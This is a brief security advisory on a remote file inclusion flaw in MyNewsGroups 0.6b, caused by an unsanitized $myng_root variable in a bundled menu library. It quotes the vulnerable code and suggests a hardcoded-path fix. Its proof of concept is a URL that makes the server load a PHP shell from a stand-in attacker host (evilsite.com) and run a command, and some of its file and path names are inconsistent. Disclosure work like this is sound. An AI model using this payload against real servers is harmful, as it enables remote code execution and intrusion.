MyNewsGroups <= 0.6b (myng_root) Remote Inclusion Vulnerability

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• MyNewsGroups :) v. 0.6b <= Remote File Inclusion

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• Affected Software .: MyNewsGroups :) v. 0.6b
• Venedor …: http://mynewsgroups.sourceforge.net
• Class …: Remote File Inclusion
• Risk …: high (Remote File Execution)
• Found by …: Philipp Niedziela
• Original advisory .: http://www.bb-pcsecurity.de/
• Contact …: webmaster[at]bb-pcsecurity[.]de

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• Code /lib/tree/layersmenue.inc.php:
• …
• <?php
• // PHP Layers Menu 2.3.5 (C) 2001-2003 Marco Pratesi (marco at telug dot
  it)
• require_once $myng_root."/pear/PEAR.php";
• …

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• $myng_root is not properly sanitized before being used.
• The bug is in the "PHP Layers Menu 2.3.5" Package for MyNewsGroups.

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• Solution:
• Add this line to your php-file:
• $myng_root ="bla/bla" //Your root path

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• PoC:
• Place a PHPShell on a remote location:
• http://evilsite.com/pear/PEAR.php/index.html

http://[target]/lib/tree/layersmenu.inc.php?myng_root=http://evilsite.com/P
EAR.php/&cmd=ls
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• Greets:
• Krini&Lenni

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